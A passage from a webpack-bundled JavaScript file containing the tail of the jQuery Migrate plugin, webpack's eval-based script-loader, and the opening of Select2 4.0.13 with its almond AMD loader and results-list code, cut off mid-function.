this;\n\t}, \"shorthand-removed-v3\" );\n\n} );\n\njQuery.each( ( \"blur focus focusin focusout resize scroll click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup contextmenu\" ).split( \" \" ),\n\tfunction( _i, name ) {\n\n\t// Handle event binding\n\tmigratePatchAndWarnFunc( jQuery.fn, name, function( data, fn ) {\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t\t},\n\t\t\"shorthand-deprecated-v3\",\n\t\t\"jQuery.fn.\" + name + \"() event shorthand is deprecated\" );\n} );\n\n// Trigger \"ready\" event only once, on document ready\njQuery( function() {\n\tjQuery( window.document ).triggerHandler( \"ready\" );\n} );\n\njQuery.event.special.ready = {\n\tsetup: function() {\n\t\tif ( this === window.document ) {\n\t\t\tmigrateWarn( \"ready-event\", \"'ready' event is deprecated\" );\n\t\t}\n\t}\n};\n\nmigratePatchAndWarnFunc( jQuery.fn, \"bind\", function( types, data, fn ) {\n\treturn this.on( types, null, data, fn );\n}, \"pre-on-methods\", \"jQuery.fn.bind() is deprecated\" );\nmigratePatchAndWarnFunc( jQuery.fn, \"unbind\", function( types, fn ) {\n\treturn this.off( types, null, fn );\n}, \"pre-on-methods\", \"jQuery.fn.unbind() is deprecated\" );\nmigratePatchAndWarnFunc( jQuery.fn, \"delegate\", function( selector, types, data, fn ) {\n\treturn this.on( types, selector, data, fn );\n}, \"pre-on-methods\", \"jQuery.fn.delegate() is deprecated\" );\nmigratePatchAndWarnFunc( jQuery.fn, \"undelegate\", function( selector, types, fn ) {\n\treturn arguments.length === 1 ?\n\t\tthis.off( selector, \"**\" ) :\n\t\tthis.off( types, selector || \"**\", fn );\n}, \"pre-on-methods\", \"jQuery.fn.undelegate() is deprecated\" );\nmigratePatchAndWarnFunc( jQuery.fn, \"hover\", function( fnOver, fnOut ) {\n\treturn this.on( \"mouseenter\", fnOver ).on( \"mouseleave\", fnOut || fnOver );\n}, \"pre-on-methods\", \"jQuery.fn.hover() is deprecated\" );\n\nvar rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,\n\tmakeMarkup = function( html ) {\n\t\tvar doc = window.document.implementation.createHTMLDocument( \"\" );\n\t\tdoc.body.innerHTML = html;\n\t\treturn doc.body && doc.body.innerHTML;\n\t},\n\twarnIfChanged = function( html ) {\n\t\tvar changed = html.replace( rxhtmlTag, \"<$1></$2>\" );\n\t\tif ( changed !== html && makeMarkup( html ) !== makeMarkup( changed ) ) {\n\t\t\tmigrateWarn( \"self-closed-tags\",\n\t\t\t\t\"HTML tags must be properly nested and closed: \" + html );\n\t\t}\n\t};\n\n/**\n * Deprecated, please use `jQuery.migrateDisablePatches( \"self-closed-tags\" )` instead.\n * @deprecated\n */\njQuery.UNSAFE_restoreLegacyHtmlPrefilter = function() {\n\tjQuery.migrateEnablePatches( \"self-closed-tags\" );\n};\n\nmigratePatchFunc( jQuery, \"htmlPrefilter\", function( html ) {\n\twarnIfChanged( html );\n\treturn html.replace( rxhtmlTag, \"<$1></$2>\" );\n}, \"self-closed-tags\" );\n\n// This patch needs to be disabled by default as it re-introduces\n// security issues (CVE-2020-11022, CVE-2020-11023).\njQuery.migrateDisablePatches( \"self-closed-tags\" );\n\nvar origOffset = jQuery.fn.offset;\n\nmigratePatchFunc( jQuery.fn, \"offset\", function() {\n\tvar elem = this[ 0 ];\n\n\tif ( elem && ( !elem.nodeType || !elem.getBoundingClientRect ) ) {\n\t\tmigrateWarn( \"offset-valid-elem\", \"jQuery.fn.offset() requires a valid DOM element\" );\n\t\treturn arguments.length ? this : undefined;\n\t}\n\n\treturn origOffset.apply( this, arguments );\n}, \"offset-valid-elem\" );\n\n// Support jQuery slim which excludes the ajax module\n// The jQuery.param patch is about respecting `jQuery.ajaxSettings.traditional`\n// so it doesn't make sense for the slim build.\nif ( jQuery.ajax ) {\n\nvar origParam = jQuery.param;\n\nmigratePatchFunc( jQuery, \"param\", function( data, traditional ) {\n\tvar ajaxTraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;\n\n\tif ( traditional === undefined && ajaxTraditional ) {\n\n\t\tmigrateWarn( \"param-ajax-traditional\",\n\t\t\t\"jQuery.param() no longer uses jQuery.ajaxSettings.traditional\" );\n\t\ttraditional = ajaxTraditional;\n\t}\n\n\treturn origParam.call( this, data, traditional );\n}, \"param-ajax-traditional\" );\n\n}\n\nmigratePatchAndWarnFunc( jQuery.fn, \"andSelf\", jQuery.fn.addBack, \"andSelf\",\n\t\"jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()\" );\n\n// Support jQuery slim which excludes the deferred module in jQuery 4.0+\nif ( jQuery.Deferred ) {\n\nvar oldDeferred = jQuery.Deferred,\n\ttuples = [\n\n\t\t// Action, add listener, callbacks, .then handlers, final state\n\t\t[ \"resolve\", \"done\", jQuery.Callbacks( \"once memory\" ),\n\t\t\tjQuery.Callbacks( \"once memory\" ), \"resolved\" ],\n\t\t[ \"reject\", \"fail\", jQuery.Callbacks( \"once memory\" ),\n\t\t\tjQuery.Callbacks( \"once memory\" ), \"rejected\" ],\n\t\t[ \"notify\", \"progress\", jQuery.Callbacks( \"memory\" ),\n\t\t\tjQuery.Callbacks( \"memory\" ) ]\n\t];\n\nmigratePatchFunc( jQuery, \"Deferred\", function( func ) {\n\tvar deferred = oldDeferred(),\n\t\tpromise = deferred.promise();\n\n\tfunction newDeferredPipe( /* fnDone, fnFail, fnProgress */ ) {\n\t\tvar fns = arguments;\n\n\t\treturn jQuery.Deferred( function( newDefer ) {\n\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\t\tvar fn = typeof fns[ i ] === \"function\" && fns[ i ];\n\n\t\t\t\t// Deferred.done(function() { bind to newDefer or newDefer.resolve })\n\t\t\t\t// deferred.fail(function() { bind to newDefer or newDefer.reject })\n\t\t\t\t// deferred.progress(function() { bind to newDefer or newDefer.notify })\n\t\t\t\tdeferred[ tuple[ 1 ] ]( function() {\n\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\tif ( returned && typeof returned.promise === \"function\" ) {\n\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t.fail( newDefer.reject )\n\t\t\t\t\t\t\t.progress( newDefer.notify );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ](\n\t\t\t\t\t\t\tthis === promise ? newDefer.promise() : this,\n\t\t\t\t\t\t\tfn ? [ returned ] : arguments\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t} );\n\t\t\tfns = null;\n\t\t} ).promise();\n\t}\n\n\tmigratePatchAndWarnFunc( deferred, \"pipe\", newDeferredPipe, \"deferred-pipe\",\n\t\t\"deferred.pipe() is deprecated\" );\n\tmigratePatchAndWarnFunc( promise, \"pipe\", newDeferredPipe, \"deferred-pipe\",\n\t\t\"deferred.pipe() is deprecated\" );\n\n\tif ( func ) {\n\t\tfunc.call( deferred, deferred );\n\t}\n\n\treturn deferred;\n}, \"deferred-pipe\" );\n\n// Preserve handler of uncaught exceptions in promise chains\njQuery.Deferred.exceptionHook = oldDeferred.exceptionHook;\n\n}\n\nreturn jQuery;\n} );\n"

/***/ }),

/***/ 41:
/***/ ((module) => {

/*
	MIT License http://www.opensource.org/licenses/mit-license.php
	Author Tobias Koppers @sokra
*/
module.exports = function(src) {
	function log(error) {
		(typeof console !== "undefined")
		&& (console.error || console.log)("[Script Loader]", error);
	}

	// Check for IE =< 8
	function isIE() {
		return typeof attachEvent !== "undefined" && typeof addEventListener === "undefined";
	}

	try {
		if (typeof execScript !== "undefined" && isIE()) {
			execScript(src);
		} else if (typeof eval !== "undefined") {
			eval.call(null, src);
		} else {
			log("EvalError: No eval function available");
		}
	} catch (error) {
		log(error);
	}
}


/***/ }),

/***/ 487:
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

__webpack_require__(41)(__webpack_require__(488))

/***/ }),

/***/ 506:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * Select2 4.0.13
 * https://select2.github.io
 *
 * Released under the MIT license
 * https://github.com/select2/select2/blob/master/LICENSE.md
 */
;(function (factory) {
  if (true) {
    // AMD. Register as an anonymous module.
    !(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
  } else {}
} (function (jQuery) {
  // This is needed so we can catch the AMD loader configuration and use it
  // The inner file should be wrapped (by `banner.start.js`) in a function that
  // returns the AMD loader references.
  var S2 =(function () {
  // Restore the Select2 AMD loader so it can be used
  // Needed mostly in the language files, where the loader is not inserted
  if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {
    var S2 = jQuery.fn.select2.amd;
  }
var S2;(function () { if (!S2 || !S2.requirejs) {
if (!S2) { S2 = {}; } else { require = S2; }
/**
 * @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
 * Released under MIT license, http://github.com/requirejs/almond/LICENSE
 */
//Going sloppy to avoid 'use strict' string cost, but strict practices should
//be followed.
/*global setTimeout: false */

var requirejs, require, define;
(function (undef) {
    var main, req, makeMap, handlers,
        defined = {},
        waiting = {},
        config = {},
        defining = {},
        hasOwn = Object.prototype.hasOwnProperty,
        aps = [].slice,
        jsSuffixRegExp = /\.js$/;

    function hasProp(obj, prop) {
        return hasOwn.call(obj, prop);
    }

    /**
     * Given a relative module name, like ./something, normalize it to
     * a real name that can be mapped to a path.
     * @param {String} name the relative name
     * @param {String} baseName a real name that the name arg is relative
     * to.
     * @returns {String} normalized name
     */
    function normalize(name, baseName) {
        var nameParts, nameSegment, mapValue, foundMap, lastIndex,
            foundI, foundStarMap, starI, i, j, part, normalizedBaseParts,
            baseParts = baseName && baseName.split("/"),
            map = config.map,
            starMap = (map && map['*']) || {};

        //Adjust any relative paths.
        if (name) {
            name = name.split('/');
            lastIndex = name.length - 1;

            // If wanting node ID compatibility, strip .js from end
            // of IDs. Have to do this here, and not in nameToUrl
            // because node allows either .js or non .js to map
            // to same file.
            if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
                name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
            }

            // Starts with a '.' so need the baseName
            if (name[0].charAt(0) === '.' && baseParts) {
                //Convert baseName to array, and lop off the last part,
                //so that . matches that 'directory' and not name of the baseName's
                //module. For instance, baseName of 'one/two/three', maps to
                //'one/two/three.js', but we want the directory, 'one/two' for
                //this normalization.
                normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
                name = normalizedBaseParts.concat(name);
            }

            //start trimDots
            for (i = 0; i < name.length; i++) {
                part = name[i];
                if (part === '.') {
                    name.splice(i, 1);
                    i -= 1;
                } else if (part === '..') {
                    // If at the start, or previous value is still ..,
                    // keep them so that when converted to a path it may
                    // still work when converted to a path, even though
                    // as an ID it is less than ideal. In larger point
                    // releases, may be better to just kick out an error.
                    if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') {
                        continue;
                    } else if (i > 0) {
                        name.splice(i - 1, 2);
                        i -= 2;
                    }
                }
            }
            //end trimDots

            name = name.join('/');
        }

        //Apply map config if available.
        if ((baseParts || starMap) && map) {
            nameParts = name.split('/');

            for (i = nameParts.length; i > 0; i -= 1) {
                nameSegment = nameParts.slice(0, i).join("/");

                if (baseParts) {
                    //Find the longest baseName segment match in the config.
                    //So, do joins on the biggest to smallest lengths of baseParts.
                    for (j = baseParts.length; j > 0; j -= 1) {
                        mapValue = map[baseParts.slice(0, j).join('/')];

                        //baseName segment has  config, find if it has one for
                        //this name.
                        if (mapValue) {
                            mapValue = mapValue[nameSegment];
                            if (mapValue) {
                                //Match, update name to the new value.
                                foundMap = mapValue;
                                foundI = i;
                                break;
                            }
                        }
                    }
                }

                if (foundMap) {
                    break;
                }

                //Check for a star map match, but just hold on to it,
                //if there is a shorter segment match later in a matching
                //config, then favor over this star map.
                if (!foundStarMap && starMap && starMap[nameSegment]) {
                    foundStarMap = starMap[nameSegment];
                    starI = i;
                }
            }

            if (!foundMap && foundStarMap) {
                foundMap = foundStarMap;
                foundI = starI;
            }

            if (foundMap) {
                nameParts.splice(0, foundI, foundMap);
                name = nameParts.join('/');
            }
        }

        return name;
    }

    function makeRequire(relName, forceSync) {
        return function () {
            //A version of a require function that passes a moduleName
            //value for items that may need to
            //look up paths relative to the moduleName
            var args = aps.call(arguments, 0);

            //If first arg is not require('string'), and there is only
            //one arg, it is the array form without a callback. Insert
            //a null so that the following concat is correct.
            if (typeof args[0] !== 'string' && args.length === 1) {
                args.push(null);
            }
            return req.apply(undef, args.concat([relName, forceSync]));
        };
    }

    function makeNormalize(relName) {
        return function (name) {
            return normalize(name, relName);
        };
    }

    function makeLoad(depName) {
        return function (value) {
            defined[depName] = value;
        };
    }

    function callDep(name) {
        if (hasProp(waiting, name)) {
            var args = waiting[name];
            delete waiting[name];
            defining[name] = true;
            main.apply(undef, args);
        }

        if (!hasProp(defined, name) && !hasProp(defining, name)) {
            throw new Error('No ' + name);
        }
        return defined[name];
    }

    //Turns a plugin!resource to [plugin, resource]
    //with the plugin being undefined if the name
    //did not have a plugin prefix.
    function splitPrefix(name) {
        var prefix,
            index = name ? name.indexOf('!') : -1;
        if (index > -1) {
            prefix = name.substring(0, index);
            name = name.substring(index + 1, name.length);
        }
        return [prefix, name];
    }

    //Creates a parts array for a relName where first part is plugin ID,
    //second part is resource ID. Assumes relName has already been normalized.
    function makeRelParts(relName) {
        return relName ? splitPrefix(relName) : [];
    }

    /**
     * Makes a name map, normalizing the name, and using a plugin
     * for normalization if necessary. Grabs a ref to plugin
     * too, as an optimization.
     */
    makeMap = function (name, relParts) {
        var plugin,
            parts = splitPrefix(name),
            prefix = parts[0],
            relResourceName = relParts[1];

        name = parts[1];

        if (prefix) {
            prefix = normalize(prefix, relResourceName);
            plugin = callDep(prefix);
        }

        //Normalize according
        if (prefix) {
            if (plugin && plugin.normalize) {
                name = plugin.normalize(name, makeNormalize(relResourceName));
            } else {
                name = normalize(name, relResourceName);
            }
        } else {
            name = normalize(name, relResourceName);
            parts = splitPrefix(name);
            prefix = parts[0];
            name = parts[1];
            if (prefix) {
                plugin = callDep(prefix);
            }
        }

        //Using ridiculous property names for space reasons
        return {
            f: prefix ? prefix + '!' + name : name, //fullName
            n: name,
            pr: prefix,
            p: plugin
        };
    };

    function makeConfig(name) {
        return function () {
            return (config && config.config && config.config[name]) || {};
        };
    }

    handlers = {
        require: function (name) {
            return makeRequire(name);
        },
        exports: function (name) {
            var e = defined[name];
            if (typeof e !== 'undefined') {
                return e;
            } else {
                return (defined[name] = {});
            }
        },
        module: function (name) {
            return {
                id: name,
                uri: '',
                exports: defined[name],
                config: makeConfig(name)
            };
        }
    };

    main = function (name, deps, callback, relName) {
        var cjsModule, depName, ret, map, i, relParts,
            args = [],
            callbackType = typeof callback,
            usingExports;

        //Use name if no relName
        relName = relName || name;
        relParts = makeRelParts(relName);

        //Call the callback to define the module, if necessary.
        if (callbackType === 'undefined' || callbackType === 'function') {
            //Pull out the defined dependencies and pass the ordered
            //values to the callback.
            //Default to [require, exports, module] if no deps
            deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps;
            for (i = 0; i < deps.length; i += 1) {
                map = makeMap(deps[i], relParts);
                depName = map.f;

                //Fast path CommonJS standard dependencies.
                if (depName === "require") {
                    args[i] = handlers.require(name);
                } else if (depName === "exports") {
                    //CommonJS module spec 1.1
                    args[i] = handlers.exports(name);
                    usingExports = true;
                } else if (depName === "module") {
                    //CommonJS module spec 1.1
                    cjsModule = args[i] = handlers.module(name);
                } else if (hasProp(defined, depName) ||
                           hasProp(waiting, depName) ||
                           hasProp(defining, depName)) {
                    args[i] = callDep(depName);
                } else if (map.p) {
                    map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {});
                    args[i] = defined[depName];
                } else {
                    throw new Error(name + ' missing ' + depName);
                }
            }

            ret = callback ? callback.apply(defined[name], args) : undefined;

            if (name) {
                //If setting exports via "module" is in play,
                //favor that over return value and exports. After that,
                //favor a non-undefined return value over exports use.
                if (cjsModule && cjsModule.exports !== undef &&
                        cjsModule.exports !== defined[name]) {
                    defined[name] = cjsModule.exports;
                } else if (ret !== undef || !usingExports) {
                    //Use the return value from the function.
                    defined[name] = ret;
                }
            }
        } else if (name) {
            //May just be an object definition for the module. Only
            //worry about defining if have a module name.
            defined[name] = callback;
        }
    };

    requirejs = require = req = function (deps, callback, relName, forceSync, alt) {
        if (typeof deps === "string") {
            if (handlers[deps]) {
                //callback in this case is really relName
                return handlers[deps](callback);
            }
            //Just return the module wanted. In this scenario, the
            //deps arg is the module name, and second arg (if passed)
            //is just the relName.
            //Normalize module name, if it contains . or ..
            return callDep(makeMap(deps, makeRelParts(callback)).f);
        } else if (!deps.splice) {
            //deps is a config object, not an array.
            config = deps;
            if (config.deps) {
                req(config.deps, config.callback);
            }
            if (!callback) {
                return;
            }

            if (callback.splice) {
                //callback is an array, which means it is a dependency list.
                //Adjust args if there are dependencies
                deps = callback;
                callback = relName;
                relName = null;
            } else {
                deps = undef;
            }
        }

        //Support require(['a'])
        callback = callback || function () {};

        //If relName is a function, it is an errback handler,
        //so remove it.
        if (typeof relName === 'function') {
            relName = forceSync;
            forceSync = alt;
        }

        //Simulate async callback;
        if (forceSync) {
            main(undef, deps, callback, relName);
        } else {
            //Using a non-zero value because of concern for what old browsers
            //do, and latest browsers "upgrade" to 4 if lower value is used:
            //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout:
            //If want a value immediately, use require('id') instead -- something
            //that works in almond on the global level, but not guaranteed and
            //unlikely to work in other AMD implementations.
            setTimeout(function () {
                main(undef, deps, callback, relName);
            }, 4);
        }

        return req;
    };

    /**
     * Just drops the config on the floor, but returns req in case
     * the config return value is used.
     */
    req.config = function (cfg) {
        return req(cfg);
    };

    /**
     * Expose module registry for debugging and tooling
     */
    requirejs._defined = defined;

    define = function (name, deps, callback) {
        if (typeof name !== 'string') {
            throw new Error('See almond README: incorrect module build, no module name');
        }

        //This module may not have dependencies
        if (!deps.splice) {
            //deps is not an array, so probably means
            //an object literal or factory function for
            //the value. Adjust args.
            callback = deps;
            deps = [];
        }

        if (!hasProp(defined, name) && !hasProp(waiting, name)) {
            waiting[name] = [name, deps, callback];
        }
    };

    define.amd = {
        jQuery: true
    };
}());

S2.requirejs = requirejs;S2.require = require;S2.define = define;
}
}());
S2.define("almond", function(){});

/* global jQuery:false, $:false */
S2.define('jquery',[],function () {
  var _$ = jQuery || $;

  if (_$ == null && console && console.error) {
    console.error(
      'Select2: An instance of jQuery or a jQuery-compatible library was not ' +
      'found. Make sure that you are including jQuery before Select2 on your ' +
      'web page.'
    );
  }

  return _$;
});

S2.define('select2/utils',[
  'jquery'
], function ($) {
  var Utils = {};

  Utils.Extend = function (ChildClass, SuperClass) {
    var __hasProp = {}.hasOwnProperty;

    function BaseConstructor () {
      this.constructor = ChildClass;
    }

    for (var key in SuperClass) {
      if (__hasProp.call(SuperClass, key)) {
        ChildClass[key] = SuperClass[key];
      }
    }

    BaseConstructor.prototype = SuperClass.prototype;
    ChildClass.prototype = new BaseConstructor();
    ChildClass.__super__ = SuperClass.prototype;

    return ChildClass;
  };

  function getMethods (theClass) {
    var proto = theClass.prototype;

    var methods = [];

    for (var methodName in proto) {
      var m = proto[methodName];

      if (typeof m !== 'function') {
        continue;
      }

      if (methodName === 'constructor') {
        continue;
      }

      methods.push(methodName);
    }

    return methods;
  }

  Utils.Decorate = function (SuperClass, DecoratorClass) {
    var decoratedMethods = getMethods(DecoratorClass);
    var superMethods = getMethods(SuperClass);

    function DecoratedClass () {
      var unshift = Array.prototype.unshift;

      var argCount = DecoratorClass.prototype.constructor.length;

      var calledConstructor = SuperClass.prototype.constructor;

      if (argCount > 0) {
        unshift.call(arguments, SuperClass.prototype.constructor);

        calledConstructor = DecoratorClass.prototype.constructor;
      }

      calledConstructor.apply(this, arguments);
    }

    DecoratorClass.displayName = SuperClass.displayName;

    function ctr () {
      this.constructor = DecoratedClass;
    }

    DecoratedClass.prototype = new ctr();

    for (var m = 0; m < superMethods.length; m++) {
      var superMethod = superMethods[m];

      DecoratedClass.prototype[superMethod] =
        SuperClass.prototype[superMethod];
    }

    var calledMethod = function (methodName) {
      // Stub out the original method if it's not decorating an actual method
      var originalMethod = function () {};

      if (methodName in DecoratedClass.prototype) {
        originalMethod = DecoratedClass.prototype[methodName];
      }

      var decoratedMethod = DecoratorClass.prototype[methodName];

      return function () {
        var unshift = Array.prototype.unshift;

        unshift.call(arguments, originalMethod);

        return decoratedMethod.apply(this, arguments);
      };
    };

    for (var d = 0; d < decoratedMethods.length; d++) {
      var decoratedMethod = decoratedMethods[d];

      DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);
    }

    return DecoratedClass;
  };

  var Observable = function () {
    this.listeners = {};
  };

  Observable.prototype.on = function (event, callback) {
    this.listeners = this.listeners || {};

    if (event in this.listeners) {
      this.listeners[event].push(callback);
    } else {
      this.listeners[event] = [callback];
    }
  };

  Observable.prototype.trigger = function (event) {
    var slice = Array.prototype.slice;
    var params = slice.call(arguments, 1);

    this.listeners = this.listeners || {};

    // Params should always come in as an array
    if (params == null) {
      params = [];
    }

    // If there are no arguments to the event, use a temporary object
    if (params.length === 0) {
      params.push({});
    }

    // Set the `_type` of the first object to the event
    params[0]._type = event;

    if (event in this.listeners) {
      this.invoke(this.listeners[event], slice.call(arguments, 1));
    }

    if ('*' in this.listeners) {
      this.invoke(this.listeners['*'], arguments);
    }
  };

  Observable.prototype.invoke = function (listeners, params) {
    for (var i = 0, len = listeners.length; i < len; i++) {
      listeners[i].apply(this, params);
    }
  };

  Utils.Observable = Observable;

  Utils.generateChars = function (length) {
    var chars = '';

    for (var i = 0; i < length; i++) {
      var randomChar = Math.floor(Math.random() * 36);
      chars += randomChar.toString(36);
    }

    return chars;
  };

  Utils.bind = function (func, context) {
    return function () {
      func.apply(context, arguments);
    };
  };

  Utils._convertData = function (data) {
    for (var originalKey in data) {
      var keys = originalKey.split('-');

      var dataLevel = data;

      if (keys.length === 1) {
        continue;
      }

      for (var k = 0; k < keys.length; k++) {
        var key = keys[k];

        // Lowercase the first letter
        // By default, dash-separated becomes camelCase
        key = key.substring(0, 1).toLowerCase() + key.substring(1);

        if (!(key in dataLevel)) {
          dataLevel[key] = {};
        }

        if (k == keys.length - 1) {
          dataLevel[key] = data[originalKey];
        }

        dataLevel = dataLevel[key];
      }

      delete data[originalKey];
    }

    return data;
  };

  Utils.hasScroll = function (index, el) {
    // Adapted from the function created by @ShadowScripter
    // and adapted by @BillBarry on the Stack Exchange Code Review website.
    // The original code can be found at
    // http://codereview.stackexchange.com/q/13338
    // and was designed to be used with the Sizzle selector engine.

    var $el = $(el);
    var overflowX = el.style.overflowX;
    var overflowY = el.style.overflowY;

    //Check both x and y declarations
    if (overflowX === overflowY &&
        (overflowY === 'hidden' || overflowY === 'visible')) {
      return false;
    }

    if (overflowX === 'scroll' || overflowY === 'scroll') {
      return true;
    }

    return ($el.innerHeight() < el.scrollHeight ||
      $el.innerWidth() < el.scrollWidth);
  };

  Utils.escapeMarkup = function (markup) {
    var replaceMap = {
      '\\': '&#92;',
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      '\'': '&#39;',
      '/': '&#47;'
    };

    // Do not try to escape the markup if it's not a string
    if (typeof markup !== 'string') {
      return markup;
    }

    return String(markup).replace(/[&<>"'\/\\]/g, function (match) {
      return replaceMap[match];
    });
  };

  // Append an array of jQuery nodes to a given element.
  Utils.appendMany = function ($element, $nodes) {
    // jQuery 1.7.x does not support $.fn.append() with an array
    // Fall back to a jQuery object collection using $.fn.add()
    if ($.fn.jquery.substr(0, 3) === '1.7') {
      var $jqNodes = $();

      $.map($nodes, function (node) {
        $jqNodes = $jqNodes.add(node);
      });

      $nodes = $jqNodes;
    }

    $element.append($nodes);
  };

  // Cache objects in Utils.__cache instead of $.data (see #4346)
  Utils.__cache = {};

  var id = 0;
  Utils.GetUniqueElementId = function (element) {
    // Get a unique element Id. If element has no id,
    // creates a new unique number, stores it in the id
    // attribute and returns the new id.
    // If an id already exists, it simply returns it.

    var select2Id = element.getAttribute('data-select2-id');
    if (select2Id == null) {
      // If element has id, use it.
      if (element.id) {
        select2Id = element.id;
        element.setAttribute('data-select2-id', select2Id);
      } else {
        element.setAttribute('data-select2-id', ++id);
        select2Id = id.toString();
      }
    }
    return select2Id;
  };

  Utils.StoreData = function (element, name, value) {
    // Stores an item in the cache for a specified element.
    // name is the cache key.
    var id = Utils.GetUniqueElementId(element);
    if (!Utils.__cache[id]) {
      Utils.__cache[id] = {};
    }

    Utils.__cache[id][name] = value;
  };

  Utils.GetData = function (element, name) {
    // Retrieves a value from the cache by its key (name)
    // name is optional. If no name specified, return
    // all cache items for the specified element.
    // and for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (name) {
      if (Utils.__cache[id]) {
        if (Utils.__cache[id][name] != null) {
          return Utils.__cache[id][name];
        }
        return $(element).data(name); // Fallback to HTML5 data attribs.
      }
      return $(element).data(name); // Fallback to HTML5 data attribs.
    } else {
      return Utils.__cache[id];
    }
  };

  Utils.RemoveData = function (element) {
    // Removes all cached items for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (Utils.__cache[id] != null) {
      delete Utils.__cache[id];
    }

    element.removeAttribute('data-select2-id');
  };

  return Utils;
});

S2.define('select2/results',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Results ($element, options, dataAdapter) {
    this.$element = $element;
    this.data = dataAdapter;
    this.options = options;

    Results.__super__.constructor.call(this);
  }

  Utils.Extend(Results, Utils.Observable);

  Results.prototype.render = function () {
    var $results = $(
      '<ul class="select2-results__options" role="listbox"></ul>'
    );

    if (this.options.get('multiple')) {
      $results.attr('aria-multiselectable', 'true');
    }

    this.$results = $results;

    return $results;
  };

  Results.prototype.clear = function () {
    this.$results.empty();
  };

  Results.prototype.displayMessage = function (params) {
    var escapeMarkup = this.options.get('escapeMarkup');

    this.clear();
    this.hideLoading();

    var $message = $(
      '<li role="alert" aria-live="assertive"' +
      ' class="select2-results__option"></li>'
    );

    var message = this.options.get('translations').get(params.message);

    $message.append(
      escapeMarkup(
        message(params.args)
      )
    );

    $message[0].className += ' select2-results__message';

    this.$results.append($message);
  };

  Results.prototype.hideMessages = function () {
    this.$results.find('.select2-results__message').remove();
  };

  Results.prototype.append = function (data) {
    this.hideLoading();

    var $options = [];

    if (data.results == null || data.results.length === 0) {
      if (this.$results.children().length === 0) {
        this.trigger('results:message', {
          message: 'noResults'
        });
      }

      return;
    }

    data.results = this.sort(data.results);

    for (var d = 0; d < data.results.length; d++) {
      var item = data.results[d];

      var $option = this.option(item);

      $options.push($option);
    }

    this.$results.append($options);
  };

  Results.prototype.position = function ($results, $dropdown) {
    var $resultsContainer = $dropdown.find('.select2-results');
    $resultsContainer.append($results);
  };

  Results.prototype.sort = function (data) {
    var sorter = this.options.get('sorter');

    return sorter(data);
  };

  Results.prototype.highlightFirstItem = function () {
    var $options = this.$results
      .find('.select2-results__option[aria-selected]');

    var $selected = $options.filter('[aria-selected=true]');

    // Check if there are any selected options
    if ($selected.length > 0) {
      // If there are selected options, highlight the first
      $selected.first().trigger('mouseenter');
    } else {
      // If there are no selected options, highlight the first option
      // in the dropdown
      $options.first().trigger('mouseenter');
    }

    this.ensureHighlightVisible();
  };

  Results.prototype.setClasses = function () {
    var self = this;

    this.data.current(function (selected) {
      var selectedIds = $.map(selected, function (s) {
        return s.id.toString();
      });

      var $options = self.$results
        .find('.select2-results__option[aria-selected]');

      $options.each(function () {
        var $option = $(this);

        var item = Utils.GetData(this, 'data');

        // id needs to be converted to a string when comparing
        var id = '' + item.id;

        if ((item.element != null && item.element.selected) ||
            (item.element == null && $.inArray(id, selectedIds) > -1)) {
          $option.attr('aria-selected', 'true');
        } else {
          $option.attr('aria-selected', 'false');
        }
      });

    });
  };

  Results.prototype.showLoading = function (params) {
    this.hideLoading();

    var loadingMore = this.options.get('translations').get('searching');

    var loading = {
      disabled: true,
      loading: true,
      text: loadingMore(params)
    };
    var $loading = this.option(loading);
    $loading.className += ' loading-results';

    this.$results.prepend($loading);
  };

  Results.prototype.hideLoading = function () {
    this.$results.find('.loading-results').remove();
  };

  Results.prototype.option = function (data) {
    var option = document.createElement('li');
    option.className = 'select2-results__option';

    var attrs = {
      'role': 'option',
      'aria-selected': 'false'
    };

    var matches = window.Element.prototype.matches ||
      window.Element.prototype.msMatchesSelector ||
      window.Element.prototype.webkitMatchesSelector;

    if ((data.element != null && matches.call(data.element, ':disabled')) ||
        (data.element == null && data.disabled)) {
      delete attrs['aria-selected'];
      attrs['aria-disabled'] = 'true';
    }

    if (data.id == null) {
